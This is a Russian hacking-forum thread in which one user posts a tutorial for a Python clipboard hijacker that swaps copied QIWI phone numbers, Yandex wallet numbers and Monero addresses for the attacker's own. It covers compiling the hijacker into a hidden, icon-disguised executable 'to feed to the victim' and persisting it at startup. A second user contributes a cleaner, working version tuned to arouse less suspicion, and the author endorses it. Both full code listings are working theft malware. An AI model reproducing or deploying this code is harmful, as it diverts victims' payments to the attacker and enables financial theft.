• VLMI - форум по обмену информацией. На форуме можете найти способы заработка, разнообразную информацию по интернет-безопасности, обмен знаниями, курсы/сливы.

    После регистрации будут доступны основные разделы.

    Контент форума создают пользователи, администрация за действия пользователей не несёт ответственности, отказ от ответственности. Так же перед использованием форума необходимо ознакомиться с правилами ресурса. Продолжая использовать ресурс вы соглашаетесь с правилами.
  • Подпишись на наш канал в Telegram для информации о актуальных зеркалах форума: https://t.me/vlmiclub

Простейший Clipper для QIWI, Yandex, Monero Poloniex

h0peIess

Участник
Сообщения
13
Реакции
26
0 руб.
Please note, if you want to make a deal with this user, that it is blocked.
Хэй! Я заметил, что на vlmi.top нет ни одной статьи по этой теме. Решил, что надо это исправить, написал простейший Clipper. Приятого прочтения!
Установка Python
Переходим по ссылке - я ссылка. Скачиваем последнюю версию и устанавливаем её.

16633-24154d829be820968ed0f0957f4d073c.png
=====================================================================
Написание кода
Импортируем модули, которые нам нужны:
Python:
from win32clipboard import *
from time import sleep
Объявляем переменные
Python:
my_qiwi = ***QIWI***
my_yandex = ***YANDEX***
my_monero_poloniex = ***MONERO_POLONIEX***
=====================================================================
Основная часть кода
Python:
while True:    # Постоянный цикл
    OpenClipboard()    # Открываем буфер обмена
    data = GetClipboardData()    # Считываем данные из буфера обмена
    CloseClipboard()    # Закрываем буфера обмена (правила такие xD)
    if len(data) == 12:    # Если длина равна 12 символам, возможно, что это номер телефона RU
        if (data.startswith("+79") or data.startswith("79") or data.startswith("89")): # Если начинается текст с "+79", "79", "89", то мы меняем его
            OpenClipboard()    # Открываем буфер обмена
            EmptyClipboard() # Очищаем буфер обмена
            SetClipboardText(my_qiwi) # Изменяем текст
            CloseClipboard()    # Закрываем буфера обмена
            sleep(0.1)    # Перерыв, так как если мы будем постоянно открывать буфер обмена, то вылетит ошибка: "Access denied" 
    if len(data) == 15:    # Если длина равна 15 символам, возможно, что это номер кошелка Yandex
        OpenClipboard()    # Открываем буфер обмена
        EmptyClipboard()    # Очищаем буфер обмена
        SetClipboardText(my_yandex)    # Изменяем текст
        CloseClipboard()    # Закрываем буфера обмена
        sleep(0.1)    # Перерыв, так как если мы будем постоянно открывать буфер обмена, то вылетит ошибка: "Access denied" 
    if data.startswith("4JUdGzvrMFDWrUUwY3toJATSeNwjn54Lk"):    # Если текст начинается на "4JUdGzvrMFDWrUUwY3toJATSeNwjn54Lk", то это точно номер кошелка Monero Poloniex
        OpenClipboard()    # Открываем буфер обмена
        EmptyClipboard()    # Очищаем буфер обмена
        SetClipboardText(my_monero_poloniex)    # Изменяем текст
        CloseClipboard()    # Закрываем буфера обмена
    sleep(0.1)    # Перерыв, так как если мы будем постоянно открывать буфер обмена, то вылетит ошибка: "Access denied"
=====================================================================
Компилируем в exe, чтобы скормить наш код жертве
Воспользуемся программой PyInstaller. Ее можно установить благодаря команде, которую нам нужно ввести в CMD: pip install pyinstaller. Вот аргументы Pyinstaller'a, которые мы будем использовать:
1) -F, соберет все файлы в один exe файл .
2)-w, отключит консоль .
3)-i ***путь к иконке***, аргумент,который подключит к программе иконку .
Финальная команда для CMD: pyinstaller -F -w -i ***путь к иконке*** ***путь к файлу .py***.

=====================================================================

Исходники
Скачать исходники можно по ссылке - я ссылка.
Пароль: h0peIess.
=====================================================================

Справка
Также можно в интернете найти исходники скриптов, которые добавят этот вирус в StartUp, будут скрывать от Диспетчера Задач.
=====================================================================
Спасибо, что прочитал мою статью! Поки.
 
Последнее редактирование:

gh0st4ge

Местный
Сообщения
40
Реакции
86
0 руб.
Добрый вечер. Извини за критику, но это очень сырой код, с массой ошибок.:eek:
Во-первых, лишние импорты: os не используется, целиком win32clipboard тоже не нужен.
Во-вторых, почему не используешь виртуальное окружение?! Если бы использовал, то как минимум понял бы, что забыл сказать об установке библиотеки pywin32 - как раз для модуля win32clipboard (pip install pywin32), а так полезно держать все необходимые библиотеки в папке с проектом.
В-третьих, что за валидация данных? В каждом пункте(qiwi, yandex, monero) много неподходящих вариантов. Например попадут запросы: "79 регион" - под киви, "скачать торрент" - под яндекс, а под monero огромная выборка подходящих вариантов не попадет под замену.

Поэтому вот рекомендации к твоему посту:

Создание виртуального окружения (в командной строке):
python -m venv env
call env\scripts\activate
pip install pywin32


Дальше, хорошо причесанный код:

Python:
# импортируем только нужные методы из win32clipboard
from win32clipboard import OpenClipboard, GetClipboardData, EmptyClipboard, SetClipboardText, CloseClipboard
from time import sleep
# импортируем метод fullmatch из модуля регулярных выражений
from re import fullmatch

# Вводим свои кошельки
# Номер телефона в 10-значном формате (без суффикса +7, 7, 8)
my_qiwi = "9012345678"
# Яндекс кошелек в 15-значном формате
my_yandex = "123456789012345"
# Монеро кошлелек
my_monero = "44ddo2D1dJuhuWFtFrpR5FRxob1111111111XN5fpoww2222222222TdDS5dsm53mYGk4EdunRmVTgGmx1dPUfSMAyWqAEK"

# блок регулярных выражений
# номер телефона: ищет как в 10-значном формате, так и с суффиксами +7, 7, 8
re_qiwi = r'(\+?7|8)?(\d{10})'
# 15 подряд идущих цифр
re_yandex = r'\d{15}'
# Правильный формат монеро кошелька (начинается с 4,
# дальше либо цифра либо A или B и последовательность из 93 цифр или латинских букв)
re_monero = r'4[0-9AB][123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{93}'

# словарь для замены регулярки на наши данные
regular_list = {re_qiwi: my_qiwi, re_yandex: my_yandex, re_monero: my_monero}


# функция для работы с буфером обмена.
def operate_with_clipboard(operation, data=None):
    # пробуем выполнить операции
    try:
        # Открываем буфер
        OpenClipboard()
        if operation == 'get':
            # если команда на получение данных то запоминаем
            data = GetClipboardData()
        elif operation == 'set':
            # если на замену данных, то заменяем только если данные не None
            if data:
                EmptyClipboard()
                SetClipboardText(data)
         # закрываем буфер и возвращаем буфер(если чтение, а не запись)
        CloseClipboard()
        if operation == 'get':
            # Если данные не строка, то не запоминаем их
            if type(data) is not str:
                return None
            return data
    # в случае ошибки просто ждем следующую итерацию
    except:
        pass


# функция поиска совпадений по регулярке
def compare_data(data):
    # Смотрим, получили ли данные
    if data:
        # обходим словарь по регуляркам
        for regular in regular_list:
            # ищем соответствие (полное совпадение)
            match = fullmatch(regular, data)
            # Если нашли то возвращаем НАШИ ДАННЫЕ
            if match:
                # Если нашлось совпадение с номером, то заменяем его с сохранением суффикса
                if regular == re_qiwi:
                    return data.replace(match.group(2), regular_list[regular])
                else:
                    return regular_list[regular]
    # если данные буфера не совпали с нашими ожиданиями, то возвращаем None
    return None


# Точка входа в нашу программу
if __name__ == '__main__':
    while True:
        # Вызываем сразу три функции в строке: по правилам стека выполнится сначала чтение буфера,
        # затем сравнение данных, и в конце запись в буфер
        operate_with_clipboard('set', compare_data(operate_with_clipboard('get')))
        # Повторяем каждые 0.5 секунд
        sleep(0.5)

Плюсы:
  • Четкая валидация данных.
  • Проверка данных буфера - если не текст, то не обрабатываем данные.
  • Номер телефона подставляется в шаблон с суфиксом - меньше подозрений
  • Код лекго масштабируем - добавить только свои данные и шаблон куда подставлять(re_template=r'', my_template='', re_template: my_template)

Требует внимания:
По хорошему нужно выполнять код, только если буфер обмена поменялся, а не постоянно каждые полсекунды выполнять код. Если правильно понял, нужно искать в сторону pywin32 - WM_DRAWCLIPBOARD.

Как итог: развивайся в программировании и старайся делать качественный код (хотя бы в тех случаях, когда его видишь не только ты). Разумеется я с добрыми побуждениями провел рефакторинг кода!)
 

h0peIess

Участник
Сообщения
13
Реакции
26
0 руб.
Please note, if you want to make a deal with this user, that it is blocked.
Добрый вечер. Извини за критику, но это очень сырой код, с массой ошибок.:eek:
Во-первых, лишние импорты: os не используется, целиком win32clipboard тоже не нужен.
Во-вторых, почему не используешь виртуальное окружение?! Если бы использовал, то как минимум понял бы, что забыл сказать об установке библиотеки pywin32 - как раз для модуля win32clipboard (pip install pywin32), а так полезно держать все необходимые библиотеки в папке с проектом.
В-третьих, что за валидация данных? В каждом пункте(qiwi, yandex, monero) много неподходящих вариантов. Например попадут запросы: "79 регион" - под киви, "скачать торрент" - под яндекс, а под monero огромная выборка подходящих вариантов не попадет под замену.

Поэтому вот рекомендации к твоему посту:

Создание виртуального окружения (в командной строке):
python -m venv env
call env\scripts\activate
pip install pywin32


Дальше, хорошо причесанный код:

Python:
# импортируем только нужные методы из win32clipboard
from win32clipboard import OpenClipboard, GetClipboardData, EmptyClipboard, SetClipboardText, CloseClipboard
from time import sleep
# импортируем метод fullmatch из модуля регулярных выражений
from re import fullmatch

# Вводим свои кошельки
# Номер телефона в 10-значном формате (без суффикса +7, 7, 8)
my_qiwi = "9012345678"
# Яндекс кошелек в 15-значном формате
my_yandex = "123456789012345"
# Монеро кошлелек
my_monero = "44ddo2D1dJuhuWFtFrpR5FRxob1111111111XN5fpoww2222222222TdDS5dsm53mYGk4EdunRmVTgGmx1dPUfSMAyWqAEK"

# блок регулярных выражений
# номер телефона: ищет как в 10-значном формате, так и с суффиксами +7, 7, 8
re_qiwi = r'(\+?7|8)?(\d{10})'
# 15 подряд идущих цифр
re_yandex = r'\d{15}'
# Правильный формат монеро кошелька (начинается с 4,
# дальше либо цифра либо A или B и последовательность из 93 цифр или латинских букв)
re_monero = r'4[0-9AB][123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{93}'

# словарь для замены регулярки на наши данные
regular_list = {re_qiwi: my_qiwi, re_yandex: my_yandex, re_monero: my_monero}


# функция для работы с буфером обмена.
def operate_with_clipboard(operation, data=None):
    # пробуем выполнить операции
    try:
        # Открываем буфер
        OpenClipboard()
        if operation == 'get':
            # если команда на получение данных то запоминаем
            data = GetClipboardData()
        elif operation == 'set':
            # если на замену данных, то заменяем только если данные не None
            if data:
                EmptyClipboard()
                SetClipboardText(data)
         # закрываем буфер и возвращаем буфер(если чтение, а не запись)
        CloseClipboard()
        if operation == 'get':
            # Если данные не строка, то не запоминаем их
            if type(data) is not str:
                return None
            return data
    # в случае ошибки просто ждем следующую итерацию
    except:
        pass


# функция поиска совпадений по регулярке
def compare_data(data):
    # Смотрим, получили ли данные
    if data:
        # обходим словарь по регуляркам
        for regular in regular_list:
            # ищем соответствие (полное совпадение)
            match = fullmatch(regular, data)
            # Если нашли то возвращаем НАШИ ДАННЫЕ
            if match:
                # Если нашлось совпадение с номером, то заменяем его с сохранением суффикса
                if regular == re_qiwi:
                    return data.replace(match.group(2), regular_list[regular])
                else:
                    return regular_list[regular]
    # если данные буфера не совпали с нашими ожиданиями, то возвращаем None
    return None


# Точка входа в нашу программу
if __name__ == '__main__':
    while True:
        # Вызываем сразу три функции в строке: по правилам стека выполнится сначала чтение буфера,
        # затем сравнение данных, и в конце запись в буфер
        operate_with_clipboard('set', compare_data(operate_with_clipboard('get')))
        # Повторяем каждые 0.5 секунд
        sleep(0.5)

Плюсы:
  • Четкая валидация данных.
  • Проверка данных буфера - если не текст, то не обрабатываем данные.
  • Номер телефона подставляется в шаблон с суфиксом - меньше подозрений
  • Код лекго масштабируем - добавить только свои данные и шаблон куда подставлять(re_template=r'', my_template='', re_template: my_template)

Требует внимания:
По хорошему нужно выполнять код, только если буфер обмена поменялся, а не постоянно каждые полсекунды выполнять код. Если правильно понял, нужно искать в сторону pywin32 - WM_DRAWCLIPBOARD.

Как итог: развивайся в программировании и старайся делать качественный код (хотя бы в тех случаях, когда его видишь не только ты). Разумеется я с добрыми побуждениями провел рефакторинг кода!)
Благодарю за улучшенную версию моего кода, программа была написана давно, к сожалению, особо не смотрел на качество ее выполнения...
P.S Советую использовать этот код
 

gh0st4ge

Местный
Сообщения
40
Реакции
86
0 руб.
  • Мне нравится
Реакции: drzk
Сверху Снизу